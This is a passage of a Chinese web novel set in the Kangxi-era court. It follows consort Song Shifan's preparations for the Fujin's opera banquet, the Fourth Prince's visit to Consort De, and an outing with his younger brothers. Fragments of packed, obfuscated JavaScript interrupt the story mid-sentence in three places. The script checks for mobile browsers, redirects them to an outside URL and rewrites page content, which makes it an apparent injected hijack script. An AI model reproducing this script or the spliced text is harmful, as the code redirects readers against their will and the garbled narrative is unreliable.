四爷心下好笑,也知道自己先前是误会了宋时繁,想想也是,上次就是汪氏主动上门的,这次约莫也一样。 四爷眼底含笑:“既不喜欢她来,直接让她走就是,你跟她有什么好客气的?” 宋时繁闻言一愣,还有这种方法?她怎么没想到这层… 是了,自从来了这,宋时繁可谓是谁都不想得罪,生怕犯了忌讳再丢了小命,哪里做得出撵人的行为来。 思及此,宋时繁抿了抿唇:“那我下次争取不让她进门了。” 反正四爷发了话,应该不算错规矩吧,她真有点被汪秋红缠怕了…若她再来,就让竹苓她们把她挡在门外好了。 四爷见状笑了笑,摸了摸宋时繁的发髻,觉得这小格格怎么这么可爱呢? 不过四爷对别人就没有这么留情面了。 后来四爷让苏培盛派人去汪氏院子里吩咐了一番,大意便是不许她再没事上宋时繁的门,当然,用的借口是怕惊吓到体弱的大格格。 不提汪秋红得了这样的吩咐如何气恼,倒是宋时繁,发现汪秋红再不跟自己说话了,还不知道是因为四爷的缘故,只当她是醒悟过来找自己没用,还暗自开心,觉得省了麻烦。 总之汪秋红不来纠缠就是好事,宋时繁也没多想。 48. 不给面子? 这天,到了福晋原定下要摆家宴的日子。 一大早,福晋便让人张罗起来了。 虽说只是家宴,可福晋既打算借着家宴一事来同四爷和好,自然是要卯足了劲儿用心置办的。 上头主子重视,她们这些下面的人也得早早出去陪笑脸才行。 宋时繁从福晋处请完安回来就赶忙让白薇先去膳房传膳。 “快去叫些吃的来,不拘什么东西,尽管要了方便的就成。” 白薇闻言有些纳罕,“格格不是出门前才用了早膳?这是又饿了?” 宋时繁解释道:“虽说今个儿一天都有宴,可在席上想必是吃不好的,而且宴席上大多是炖菜,热乎倒都是热乎的,就是不好吃…” 白薇一琢磨也是,别到时候再饿坏了自家格格的身子,忙一叠声儿应下:“那奴才去膳房里瞧瞧,只如今膳房怕是在忙着准备等会儿席上的菜,不知道能不能顾上咱们这边…” 宋时繁却不甚在意:“这有什么要紧的,你只管带着银子去膳房,咱们又不是要什么难做的大菜,就要些点心饽饽之类的东西,我也只是想略填一填肚子罢了。” 因着过年,前院儿里不时就有赏赐下来,福晋也赏了几次,再加上格格份例里该有的那些东西,宋时繁现在手头上还算宽裕,所以说起话来也格外有底气。 等白薇拿了银子出去后,宋时繁就踢掉了脚上的绣鞋上了软塌,又从袖筒里掏出帕子擦了擦脸。 早起出去一趟回来,她觉得自己的脸都要冻僵了,这会子恨不得直接脱光了钻进被窝里睡个回笼觉,那才叫一个阿斗呢。 竹苓见状忙将炉子上一直热着的奶茶,热热地倒了一杯放在宋时繁面前,随后又用滚水重新灌了一个手炉,拿布袋子将手炉套好,摸了下不烫手了才递到宋时繁的手上。 宋时繁见她如此周全,心下熨贴,不觉脸上就带了笑模样:“手炉倒是不必的,我握着茶杯也一样捂手。” 竹苓不赞同地看了宋时繁一眼:“那哪儿成啊!格格的手娇嫩,再叫杯子烫了可怎么好?这也不费什么事,格格就拿着吧!” 宋时繁只好笑着接了,等手上暖和了,她又拿着手炉贴了贴脸,缓了好一会儿才感觉身子开始热了,再喝上一口热奶茶,整个人就完全热乎起来了。 这时,她又想起咪咪来,今儿一天怕是见不到咪咪了,也就晚上回来的时候能看一眼,可那会子咪咪都要睡着了。 大格格觉浅,宋时繁早上又要请安,怕一旦折腾起来大格格睡不好觉,小孩子正是要多睡觉长身体的时候呢。 所以宋时繁一般是将大格格哄睡着以后就让奶娘把大格格抱到西厢去睡。 因此若是宋时繁白日见不着大格格,晚上也是看不见的。 思来想去,宋时繁还是让人将咪咪抱过来,好歹现在有空,先陪会咪咪再说。 “咪咪醒了吗?去问问奶娘,若是醒了就抱到我这儿来吧!” 竹苓应声出去找奶娘了,不一会儿睡眼惺忪的大格格就被抱到宋时繁的屋子里了。 宋时繁一瞧见大格格软软糯糯的样子心里就塌陷一块,忙接过大格格搂在怀里亲香。 大格格刚睡醒正饿了,到了宋时繁怀里就一个劲儿地拱。 奶娘赵妈妈怕宋时繁觉得她们不尽心才叫大格格饿着了,忙在一旁解释道:“大格格刚醒,您就叫抱来了,奴才们还没来得及给大格格喂奶。” 宋时繁不在意地笑了笑,“没事儿,小孩子饿得快是好事,说明咱们咪咪在长大呢,正好抱来了,我来喂她吧。” 说着,宋时繁就背过身子去了。 虽然身边都是女孩子们,可宋时繁还是觉得这事儿太私密了,若将人都支出去也麻烦,索性她不看旁人,掩耳盗铃一下算了。 大格格已经四个月了,虽然一天能吃上好几顿,可每顿喝不了几口就推开不要了。 宋时繁那身体底子,叫外头风一扑就要倒了的,自然也没有多少奶,可就这点子奶量都尽够大格格吃了,可想而知大格格吃得有多少。 但对此,宋时繁也没办法,只得叮嘱奶娘们时不时就喂一喂大格格,哪怕一顿只吃一口,多吃两顿也就是了。 大格格吃饱以后便在自家额娘怀里待不住了,脑袋开始东张西望,小腿还一蹬一蹬的,手则一直往前伸,好像在找什么东西。 “她这是找什么呢?”宋时繁有些新奇,还没见过自家女儿想要什么东西的样子呢。 “回格格的话,大格格这是在找来福呢,自从上次格格您带着大格格看过来福以后,大格格就喜欢得紧,每天起来都要找来福。”奶娘笑着回答宋时繁。 宋时繁有些哭笑不得,看不出自家小棉袄这么喜欢小狗。 “那你们抱她去吧。”宋时繁也得收拾收拾准备出门了,便让奶娘将大格格带下去。 大格格被带走以后,白薇也拎着食盒回来了。 “幸好格格有先见之明,奴才去的时候旁的格格也都派了人去膳房要吃的,膳房太监们忙得热火朝天的,所幸奴才带足了银子,格格您瞧,都是膳房新做出来的点心呢。”白薇将食盒里的东西往桌上摆。 宋时繁便下了软塌坐到桌前。 只见桌上摆了好几样点心,都做得精致小巧,看着就好吃,饽饽也有几种,什么小窝头、金丝烧麦、蜂蜜卷等等,丰盛得很。 除此以外,膳房还上了两样粥,一样红豆粥,一样黑米粥,另配了几个佐粥的小菜,有酱汁小黄瓜、酸甜乳瓜,雪里蕻和辣白菜,均是颜色鲜亮好看的,直看得宋时繁食指大动。 “膳房有心了。”宋时繁感觉自己钱没白花,心里头就十分满意。 宋时繁也没忘了白薇和竹苓:“我一个人吃不了这么多,这几样你们拿去分了,今日府上忙乱,不一定顾得上你们的饭,这么冷的天要是饿着肚子干活那可撑不住,尤其是竹苓,你得跟着我出去,更没机会吃饭了,快趁现在多吃两口。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13388087|137497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >竹苓将筷子塞到宋时繁手上,“格格就别操心奴才们了,奴才们会看着办的,格格快吃吧,等会来不及了。” 宋时繁依言动筷,不过她大多是吃些点心,粥也只敢喝了一小碗,酱菜什么的则完全没碰了,怕等会儿吃咸了要喝水,那种场合下可不能轻易去上厕所,能省一层麻烦就是一层。 宋时繁吃饱以后,就开始更衣上妆了。 今儿福晋既然要往热闹了办,宋时繁也不能扫福晋的兴,便让白薇将之前做的那身石榴红绣吉祥云纹的旗装取了出来,先前宋时繁嫌这衣服颜色太招摇了,一直没穿,今天这场合倒是很合适。 定下衣服以后,白薇便根据衣服来帮宋时繁搭配首饰。 宋时繁见状道:“只选些素银首饰吧,旁的就算了,衣服颜色已经鲜亮了,头发就不必太精致了,本来也只是为应个景,若抢了主角风头反倒不美了。” 白薇闻言便只取了些银饰,都是简单大方的款式,戴出去也不会失礼,妆面上也只给宋时繁敷了粉,又简单描了眉毛,再上了点嫣红的口脂。 经白薇的手一番操作,宋时繁现下颇有些清丽脱俗之姿。 最后宋时繁又将那件白色绣梅花枝的斗篷系在外头,照了照镜子确定没什么问题就带着竹苓出门了。 还没走到地方,就已经听见远远地戏声传了过来,宋时繁从前对戏曲不太感冒,也听不出个所以然来,只觉得声音婉转悠扬,倒是一把难得的好嗓子。 福晋将听戏的地方安排在了临水的阁子里,戏班子在外头演曲,到时福晋和众人就坐在阁楼里听。 宋时繁到阁楼的时候武格格和郭格格已经来了,就连侍妾汪氏和常氏也在一旁安静侍立着,福晋还没到,这也不奇怪,主角肯定是要最后到的。 众人互相见礼过后,没多久,就听门外小太监喊了一声:“给福晋请安。”宋时繁几人又连忙起身去门口迎接福晋。 等福晋坐定后,宋时繁她们才听到福晋叫起和赐座的声音。 可算走完流程能坐下来了,宋时繁在心里默默想道。 刚坐下福晋又开口了:“今日诸位来得齐全,也不要拘束什么,全当我不在,该怎么开心就怎么开心。” 福晋这话说得亲切,但没人敢真当福晋不在就是了,显然,福晋也只是跟她们客气一句,见众人都乖巧应下,便也不再提了。 楼下,好戏这就开场了。 随着唱台上的人咿咿呀呀又唱开了,宋时繁也将目光投了过去。 她还没正经听过戏曲呢,这可是难得的好机会,现场听戏还不用买票,她可不得好好欣赏一下。 宋时繁倒是自在,一边听着戏文,一边吃着旁边桌上摆着的果脯,心说福晋倒是下了大功夫,一场宴席被福晋安排得尽善尽美,就是不知道有人买不买帐了。 这边,宋时繁正乐得悠闲,福晋却有些焦急,她分明一早就派人知会过四爷今天要在府里摆戏的事,怎么四爷到现在还没露面… 49. 不知所谓 显然,在前院的四爷觉得福晋简直就是不知所谓。 他本来确实只是打算冷落福晋几日的。 毕竟之前的事四爷心中有数,福晋的手段四爷也都看在眼里,实在是太过阴毒了些,一出手就算计上了好几条性命。 而且,这倒不是关键,要紧的是福晋差点儿就伤着他的子嗣了,这才是最令四爷生气的点。 但还是那句话,福晋总归是福晋,是他皇阿玛亲自挑选给他的原配妻子,只要福晋没做出什么违背祖宗礼法的错事,四爷都是不会发落福晋的。 所以,四爷一开始只是想警告福晋一二而已。 不曾想,这才几日的功夫,福晋居然又折腾起来了。 请了戏班子来府里唱戏?四爷是真不知道福晋脑子里到底在想些什么东西了… 难不成福晋嫁过来之前她家里没有教过她吗?为何福晋丝毫没有一点儿嫁进皇子府的自觉? 他们又不是什么普通人家,堂堂皇阿哥的府上,把戏子弄进后院里吹吹打打的,这名声传出去能好听了? 更别说如今皇阿玛和诸位娘娘们都还在圆明园里,他身为儿子不说日日去园中殷勤侍奉也就罢了,福晋身为儿媳居然还堂而皇之在家里摆上戏台子了。 这事儿若是叫皇阿玛听去一个不孝的名头当即便要挂在他的身上了,那他日后还有什么想头?福晋莫不是成心盼着他不好呢? 当然,这些都只是四爷一时气闷之下的想法,他心里也清楚,福晋就是想找个台阶下来,可这台阶找得也太…太让人生气了,简直就是在没事找事! 想到这里,四爷都有些烦躁了,背着手立在窗前思索着该如何解决此事,周身的气压低得不可思议。 屋外,福晋身边的太监宁海贵正颠颠儿地奉承着苏培盛呢。 反观苏培盛,却没给宁海贵一个好脸。 废话,这些人上赶着来惹主子爷生气,他能给好脸吗?别到时候再带累了他! “你也是内务府出来的老人了,怎么才刚到福晋那儿没多久,人就跟着糊涂了不成?” 苏培盛挑着眉不阴不阳地开口讥讽了宁海贵一句。 听了这话宁海贵尴尬地笑了一下,实际上,宁海贵的心里也苦涩得很。 他能不知道福晋这次的事办得难看吗?可他宁海贵就是一个奴才,主子决定好的事情能有他置喙的余地吗? 更何况,福晋大婚后入府还不到一年呢,自然更信重她自己从家里头带来的那四个陪嫁丫鬟以及陪嫁嬷嬷,像他们这些府里分过去给福晋使唤的人都不算得重用。 当然,这也是人之常情,毕竟府中分去正院的人在福晋面前的信任度,和福晋自小就带在身边的丫鬟嬷嬷们肯定是比不得的。 不过,宁海贵还发现,他们福晋好像一向只喜欢丫鬟嬷嬷这些女人们在身边伺候,因为内务府分来的宫女们,福晋偶尔也是会用一用她们的。 但像宁海贵这样的太监们却只能领些粗使活计做做,哪怕他们都是没了子孙根的,福晋也轻易不让他们近身。 许是深闺里的女子更庄重些,不习惯男人在近前伺候,宁海贵如是想道,哎,这可苦了他了… 否则他这个正院里的首领太监能被派过来前院儿做传话的活计吗?还是传这样得罪人的话,不然他也就不会在这儿受苏培盛的气了。 呸!这苏培盛也是充大爷了,不过是仗着从小就在主子爷身边伺候的情分,一直在他们面前作威作福的。 要真论起来,他宁海贵的资历可比苏培盛久多了,他比苏培盛还大上许多呢,也是早早就入宫当差了。 想到这里,宁海贵又感慨,谁叫人一开始就跟了个好主子呢?嫉妒不来的。 无疑,宁海贵的这些小心思只敢在心里想一想过过瘾也就罢了,是一万个不敢显露出来的。 毕竟现在苏培盛就是太监里当之无愧的第一人,有那小太监见了苏培盛,高低都是要称呼一句“苏爷爷”的。 “苏哥哥,您这话就外道了,咱们也是有情分在的,您就帮帮弟弟吧!”宁海贵讨好地笑着,还往苏培盛的袖筒子里塞了一包银子。 苏培盛将手伸进袖子里掂了掂银子的重量,然后才道:“不是我不帮你,可主子爷听说此事之后可一直气恼着呢,你还是回去劝劝福晋是真,莫要在这当口继续闹了…” 苏培盛这话也算实在了,当然,是看在那包银子的份上。 宁海贵在心里一边骂苏培盛阴险,收了钱不办事,一边作出一个哭脸来:“苏哥哥有所不知,我身份低微哪儿能劝得到福晋,怕是连福晋屋门的边儿都摸不着!” 苏培盛倒是也略有耳闻福晋不大愿意用太监一事,他自己就是太监,自然晓得太监的苦楚,当下也有了些真心实意:“也罢,看你小子可怜,我便进去帮你传句话,只是最后到底如何还得看主子爷的心意。” 宁海贵一听这事儿有门忙破涕为笑:“多谢苏哥哥发善心!苏哥哥放心,甭管事儿成与不成的,我都记着苏哥哥的恩德呢!” 宁海贵是真开心,这事儿要是能办成,他就算是替福晋解忧了。 要知道先头来传话的吴嬷嬷可是连前院的门都没进来呢,这样一来,何愁以后等不到福晋用他?毕竟他这个正院的首领太监也不能一直跑腿传话不是? 这边,苏培盛本也不图宁海贵的感谢,说完便转身进了书房。 他先是给四爷递上一盏热茶,见四爷喝了他才开口道:“方才福晋院里的太监来了,说是福晋请主子爷去呢。” 四爷闻言将茶杯重重搁在旁边的小桌上,没说话。 苏培盛一瞧便知这是没商量了,他也不敢再开口了。 倒是四爷,杯子摔完生气的劲儿也过去了,心知在这赌气也没用,回头越闹越难看,丢得还是他自己的脸,哎! “你去回福晋…就说…说爷白日里有事,让她们自己热闹吧。”想了想,四爷又补上一句:“爷等晚上的家宴再出席。”这也算是全了福晋的面子了。 苏培盛得了吩咐便出了屋子,也不敢叫宁海贵传话,自己就往摆戏台子的水榭那边去了。 毕竟四爷刚刚说的是让他亲自去回福晋,这就是要给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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思及此,宋时繁便也失了最初看戏的兴致,只捡了手边摆着的果脯吃,再有旁人同她搭话,她便一概用听不懂戏文来回应了,安心扮演着一个毫不出彩的格格,好避免麻烦。 而彼时,府内另一边,说自己有事不能去听戏的四爷确实打算出门。 他让下人准备好了马匹,一个翻身上了马背,朝着圆明园的方向疾驰而去,在他的身后扬起了大片大片的尘土。 四爷心想,这件事他不好同福晋直说,否则一个不好再生出误会来,又是麻烦事一件。 还是叫他额娘出面吧,女人之间也好说话些。 而且,今日府里不年不节的忽然摆了戏,也需要额娘替他在皇阿玛面前周全一二。 等见到德妃的时候,德妃正在跟十四阿哥,也就是四爷一母同胞的亲弟弟一起用膳。 德妃乍然见了自己的大儿子,还是很高兴的,忙招呼四爷:“老四怎么这个时辰来了?用过午膳不曾?” 50. 母子 四爷忙上前去给德妃请安:“儿子给额娘请安。” 十四阿哥见自家哥哥来了,也站起身跑向四爷,用一双亮晶晶的眼睛看着四爷道:“四哥!你来啦!” 四爷见状笑着摸了摸十四阿哥的小光头:“十四弟最近可额娘的听话?有没有用功读书啊?” 十四阿哥闻言表情有些讪讪的,挠了挠头不敢应声。 一旁的德妃唇角含笑,眼神里满是温柔:“你还不知道你弟弟,一刻也闲不住的性子,哪儿能安心坐下读书,他不去惹先生们生气额娘就已经阿弥陀佛了,也就骑射武艺上,你弟弟还愿意下点儿功夫。” 当着哥哥的面,被额娘数落,十四阿哥有些不好意思了,便往德妃的怀里蹭:“额娘~您别老说我,每次四哥一来您就要跟四哥说我的坏话…” 虽然十四阿哥已经八、九岁了,但在自家额娘面前撒起娇来却是驾轻就熟,埋进德妃的怀里就不肯出来了。 “啊呀,那你说说,额娘哪句话说错了?前日里是谁差点将先生的胡子揪掉,还让你皇阿玛罚了抄书?你还怨额娘说你,你就一点儿比不上你哥哥,你哥哥小时候读书刻苦得很,寒暑天都不肯松懈,一点儿不需要额娘操心,不像你,见天儿的就知道折磨额娘!” 德妃虽然话是这么说,可搂着十四阿哥的手却一直都没撒开,还用手指亲昵地点了点十四阿哥的鼻子,娘两个好一阵亲香。 四爷将眼前额娘和弟弟的亲热都看在眼里,虽然面上没什么太大的表情,但心里却仍是泛起一丝波澜。 四爷想,他跟额娘就从来没有过这样腻歪在一起的时刻。 这当然怪不着德妃,自然了,也怪不着四爷,只能说是,命运使然吧! 四爷刚出生的时候,德妃还不是现如今的四妃之一,当时的乌雅氏仅仅只是一个小小的贵人。 要知道,后妃只有到了嫔位才能被称作主子,也只有到了嫔位才能把自己的孩子养在身边。 在宫中,虽然贵人看似离嫔位只有一步之遥,可就是这一步,也不是轻易就能迈上去的。 所以,彼时四爷出生没多久就被送给了当时的佟佳贵妃抚养。 虽然说佟佳贵妃的性子温良,对四爷也是处处体贴,可到底不是亲母子,况四爷的额娘又不是不在了,经常都能见着呢,这便叫四爷同亲母和养母哪一方都像是隔了一层。 直到四爷十一岁的时候,佟佳氏因病过世,此时的德妃已经是四妃之一了,这才将四爷又接回了身边。 不过,说是接回去了,但四爷那时候年岁大了,早就住进阿哥所了,区别只是在于从前佟佳氏在的时候,德妃不敢关心四爷,现如今可以给四爷送送东西了,四爷也能正大光明往永和宫里去看德妃了。 而四爷回到德妃身边的那会子,十四阿哥才刚满一岁,正是需要人照顾的时候。 一边是长久不在身边的大儿子,一边是嗷嗷待哺的小儿子,德妃的心不自觉得就偏向了小儿子。 所以,四爷虽然看似回到了自己亲额娘的身边,却仍是孤身一人住在阿哥所里。 况且,每次四爷一回永和宫,就能看见德妃和十四阿哥之间的舐犊情深,渐渐的,他也知道自己不如十四弟同额娘亲近,一开始还会难过,可后来日子久了,人也就麻木了,下次再碰上这种事便只有沉默以对了。 就像四爷现在这样,静静地站在一旁看着额娘和弟弟。 还是德妃身边最得力的秋喜姑姑见四爷一个人站着,怕四爷多心,便上前笑吟吟地招呼四爷道:“四爷快坐下,您不知道,您没来的时候,娘娘天天就念着你呢,如今既进来了,可得陪娘娘好好用顿膳!” 经秋喜姑姑这么一提醒,德妃也反应过来自己方才差点儿冷落了大儿子,知道自家大儿子是个敏感多思的,也忙不迭开口找补了一句:“是,老四,你也不知道多进园子里来看看额娘。” 这话倒像是额娘在指责他了…四爷闻言便起身冲着德妃行礼:“是儿子不孝,没有常来看望额娘,往后儿子一定谨记教训。” 四爷忽然这么一板一眼起来,还真让德妃觉得有些尴尬,不过,刚刚她那句话确实是欠考虑了。 一时间,气氛有些紧张,德妃也不知道该说什么了,抿了抿唇想解释,却又怕越描越黑。 秋喜姑姑见德妃为难,便替德妃解围:“四爷这话就外道了,哪有跟自家额娘请罪的,你额娘是想你了,还能真怨你不成?” 十四阿哥年纪还小,看不懂额娘和哥哥之间存在的裂痕,面上还是一派天真模样,听了秋喜姑姑的话,便从德妃怀里扬起脸道:“四哥,弟弟也想你。” 说完这话,十四阿哥又把头埋进了德妃的怀里,显然是害羞了。 有了这一个小插曲,才算是把场子圆回来。 四爷也顺势坐了下去,对十四阿哥道:“那等下午四哥带你去跑马,你的马上功夫可是皇阿玛亲自教的,到时侯,你可要让四哥好好见识见识!” 说起这个十四阿哥还真兴奋起来,“那我要喊上九哥和十哥一起去,可以吗四哥?” 四爷自然没什么意见,带一个弟弟玩也是带,带一群弟弟玩也是带,反正对他来说没差,就笑着点了点头。 德妃见兄弟二人感情好,心下满意,又吩咐多添上几道四爷平日喜欢的菜上来,三人便一块用了顿午膳。 一顿饭用罢,德妃清楚大儿子不打一声招呼就来了肯定是有事找她,便先将十四阿哥支开来。 “你下午不是还要跟你哥哥去跑马?还不快下去预备着,等下若是你磨蹭,就叫你哥哥不带你了!” 德妃连哄带骗,才将十四阿哥哄住,待十四阿哥退下,母子俩这才能好好说一会儿子话。 “十四弟性子活泼可爱,有十四弟常伴额娘左右给额娘解闷儿,儿子也就放心了。”四爷看着十四阿哥离开的背影道。 德妃笑了笑:“你弟弟成日家跟个泼猴儿似的,管都管不住,我呀,一天天操不完的心,他倒是肯听听你的话。” 四爷弯了弯唇角:“额娘是舍不得管教十四弟罢了。” “好了,不说你弟弟了,可是府里有什么事?”德妃抿了一口茶,慢悠悠问道。 四爷闻言叹了口气,这才将福晋前几日做的事情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13426349|137497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 同自己的额娘一一说明。 言毕见德妃皱着眉,四爷又道:“若是额娘能赏脸教导她几句,就是让她受用终生了。” “你的意思我明白了,回头我传她进园子,哎,也是你皇阿玛给你选的媳妇不好,年纪太小了,什么都不懂呢。” 德妃不免有些怨上了康熙爷,毕竟儿媳妇可是康熙爷亲自选了指婚给儿子的。 这话四爷却是不能接的,只得将头低下去。 德妃也知道自己在儿子面前说老子不妥当,便换了个话题:“李氏那里你多看顾几分,你府上子息确实也太少了…” “儿子明白,已经让太医看过了,所幸没什么大碍,只需慢慢静养着便是了。”四爷回答道。 德妃点了点头:“那就好,你府上还有个大格格吧?是宋氏所出…额娘当初看走了眼,只顾着看她性情模样,不成想却是个身子不争气的,生的孩子竟都不好,也是个没福气的!” 四爷一听自家额娘的怒火竟转到宋时繁身上了,便忙解释了一句:“她到底也跟着儿子时间长了,还为儿子生育了子嗣,对大格格尽心尽力,又从不惹事,儿子瞧着她还算个好的。” 到底是亲生的,德妃哪里能听不出四爷对宋氏的维护之意呢? “你既喜欢多宠爱两分也无妨,只是别叫她生孩子就是了。”德妃无所谓自己儿子喜欢谁,这种事上也无需争执,反正只一个格格,再宠爱也翻不了天,随自家儿子去吧! 宋时繁如今的身子也确实不适宜生育,好好养几年也是好事,思及此,四爷便没有开口反驳德妃的话。 德妃又道:“你府里不是新进来两个格格,你也要多去看望她们,武氏长得好,家世也好,郭氏也是个身子康健的,还有福晋,早日添个嫡子,她有了孩子在身边,也就没那么多乱七八糟的心思了。” 这些话,德妃每次见了四爷都要说上一遍,四爷已经听习惯了,不过他还是老老实实答应了下来,德妃见四爷心里有数,也就不啰嗦了。 这时,十四阿哥又跟一股旋风似的闯了进来:“四哥,咱们什么时候出发?” 四爷有些无奈:“急什么,怎么也得安排妥当了才能去呢。” 十四阿哥不依,一个劲儿地催促四爷快点儿。 德妃见状便也挥手让他们兄弟俩下去:“你们自去闹吧。” “那就不打扰额娘休息了,儿子告退。”四爷规规矩矩对着德妃行了一礼,这才带着十四阿哥下去了。 等兄弟俩都走了,秋喜姑姑上前搀扶住德妃:“娘娘要午睡了吧?” 德妃点点头:“是有些乏了,如今年纪大了,经不住一点儿折腾。” 秋喜姑姑笑道:“娘娘别胡说,奴才瞧娘娘不知道多年轻呢!” 德妃嗔怪道:“你就知道打趣本宫,本宫都是几个孩子的娘了…哎,说起这个,刚才你都听到了吧,老四的媳妇儿实在不像个样子!” “娘娘别担心,四福晋只是一时想岔了,娘娘您好好教教也就成了。”秋喜姑姑劝解了一句。 “德妃抚了抚额头:“希望如此吧,明日你替我传她进来…” 51. 当一天孩子王 四爷带着十四阿哥出了德妃在圆明园的住处以后,便吩咐手底下人先去京郊的马场安排一下,既然要带着弟弟们去跑马,自然要提前预备一番。 “十四弟,你先去找老九、老十,四哥等会儿来接你们。” 十四阿哥还是挺害怕这个比自己大了十岁的哥哥的,所以四爷一发话,十四阿哥也不敢歪缠,乖乖应声去了。 等打发走十四阿哥,四爷便朝着康熙爷所在的九经三事殿走去。 毕竟要带走这么多小阿哥呢,不跟皇阿玛打个招呼是不行的,四爷如是想道。 正巧,四爷到了殿门前就见康熙爷身边的大太监梁九功在屋檐下站着呢,四爷便上前问道:“梁谙达,皇阿玛这会子用过午膳了吗?” 梁九功一见着四爷就露出个笑来:“四贝勒爷来得巧,万岁爷刚用过午膳,正喝茶呢。” 那便是有空的意思了,四爷会意地点了点头:“那就劳烦谙达进去帮我跟皇阿玛通传一声了。” 梁九功笑眯眯地应下了,在这种小事情上,他还是很乐意卖这些皇阿哥们一个好的,到底都是些天潢贵胄呢。 不多会儿,里头就传来康熙爷叫四爷进去的声音。 “叫他进来吧!” 四爷进去后先是给康熙爷请安:“儿子给皇阿玛请安,皇阿玛万岁万岁万万岁。” 康熙爷闻言没什么表情,只道:“老四来了呀。” “是,皇阿玛近来身子可好?午膳用的可好?”十分直白又透着些关心,却是把个不懂圆滑但十分孝顺的儿子形象表现出来了。 康熙爷这才放下茶碗,叫四爷起身:“老四起来吧,难为你有心,还知道记挂着朕。” “这都是儿子应该做的,不敢担皇阿玛的称赞。”四爷规矩答道。 至此,康熙爷才透出些笑意来,开始同四爷闲话了一句家常。 “可去看过你额娘了?” “回皇阿玛的话,看过了,就是将将才从额娘那里过来的,因着儿子瞧十四弟近日健壮了不少,便想着带上弟弟们去京郊的马场跑跑马,也叫他们舒舒筋骨。” “那老十四要开心了,他最喜欢钻研这些事了。”康熙爷的脸上难得有了可以称之为慈父的表情显露出来。 德妃给他生的这个小儿子,康熙爷还是很喜欢的,要不然也不会亲自教他骑射功夫了,由此可见,就算是帝王也免不了对年幼些的儿子更加疼爱些。 康熙爷的儿子不算少,可能得到他亲自教导的还真是一个手指头就数得过来。 除了早些年太子是他一手带大的,再往后也就只有十四阿哥胤禔,能叫他闲时教导了一、二,其余的阿哥们还真就没有这个殊荣。 当然,这也正常,十四阿哥出生的时候好,那会子德妃升了妃位没多久,和康熙爷感情正是浓郁的时候,可巧就有了身孕,自然了,十四阿哥便也多得了些康熙爷的宠爱。 四爷倒是不会跟弟弟计较这点子宠爱,总归跟皇阿玛已经汇报清楚了,现下得了准话,这就行了。 康熙爷也没多留四爷:“既要带弟弟们去玩,就快去吧,你弟弟怕是等着你呢。” “那儿子就先告退了。”说完这句话,四爷慢慢倒退着出了康熙爷的寝殿。 十四阿哥带着九阿哥、十阿哥已经在等四爷了,令四爷诧异的是,八阿哥和十二阿哥、十三阿哥都在。 四爷看着一群小萝卜头均是目光殷切地瞧着他,脸上全是要出去玩的兴奋。 四爷有些无奈,得,看来他今日要成看孩子的了。 不过也怪不得他们兴奋。 这几个年纪小的,还不到开府的年龄,都要住在阿哥所里,平日除了去读书,就是回阿哥所,两点一线的日子,四爷也体会过,确实闷得慌。 现如今,这几个虽然被皇阿玛带进了圆明园里,但也仍是要被拘束起来读书的,这会子能出去玩可不是要兴奋。 到了这个时候,四爷不想去也不成了,只得问道:“出来都和你们额娘打过招呼了吧?” 几个小萝卜头齐刷刷点了下脑袋,十四阿哥还在一旁起哄:“啊呀四哥,快出发吧!” 四爷眉心跳了跳,让他们都上了马车,幸而下面人准备得齐全,预备了两辆马车,否则这多人还带不走。 想到这里,四爷不由感慨自个儿的皇阿玛可真能生,想带弟弟出个门那都得带上一大串儿。 心下有些好笑的四爷翻身上了马,却听身后有人喊道:“四哥!四哥,你等等我...” 四爷回头一看,原是五爷来了。 五爷就九阿哥一个弟弟,偏这个弟弟天生缺根筋,说话做事都不太过脑子,所以五爷平时将九阿哥看得跟自己个儿得眼珠子似的,这会听说九阿哥要跟着四哥去跑马,忙不迭就跟上来了。 四爷对此倒没什么意见,有个人上赶着要来帮他分摊苦力,他热烈欢迎还来不及呢。 而且,五爷不是一个人来的,他还带着三爷,不过,三爷就纯粹只是闲的,所以出来跟着弟弟们凑凑热闹罢了。 这下,出发的人数更庞大了,头十个皇阿哥们浩浩荡荡便往京郊马场的方向去了。 一到地方,几位小阿哥就跟脱了疆的野马一样,飞奔着便去挑选自己喜欢的马,四爷嘱咐奴才们将阿哥们都看好,便也放他们去了。 倒真不是四爷心大,这里是皇家马场,里头伺候的奴才都知道规矩,不敢轻易叫皇阿哥们摔跤,更何况,他们毕竟都是满人,那可是马背上打天下的民族,他们身上都流着草原人民的血,骑个马还不至于出什么事,所以四爷很是放心。 五爷就没四爷这么放松了,忙跟上九阿哥,生怕九阿哥闹起来再伤着自己。 三爷见状调笑道:“老五越长大越婆婆妈妈起来了,莫不是叫成日家跟他的福晋待在一起,叫女人带坏了?” 四爷却开口:“三哥这话过分了,五弟只是爱护幼弟心切而已。” 三爷见四爷一板一眼地回答他的话,顿时也没了开玩笑的兴趣:“我不过玩笑一句,老四你总是这样正经,没意思极了...” 好在三爷知道四爷向来就是这样的脾性,也没多说什么,只听他话锋一转又问道:“咱们兄弟也好久没有活动活动了,不如来赛马如何?” 